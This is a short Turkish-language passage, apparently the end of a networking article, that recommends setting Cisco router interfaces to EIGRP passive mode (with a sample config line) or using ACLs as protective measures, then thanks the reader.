Bir diğer yöntem ise interfacelerin pasif durumuna almak ve ardından artık oraya EIGRP paketi gitmeyecek.
router eigrp 10
passive-interface GigabitEthernet 0/2
Onun dışında ACL ilede önlem alınabilir.
Yazıyı okuduğunuz için teşekkür ederim gerekli yazılan araçları ve bilgileri gerekli altında bulabilirsiniz.
Last updated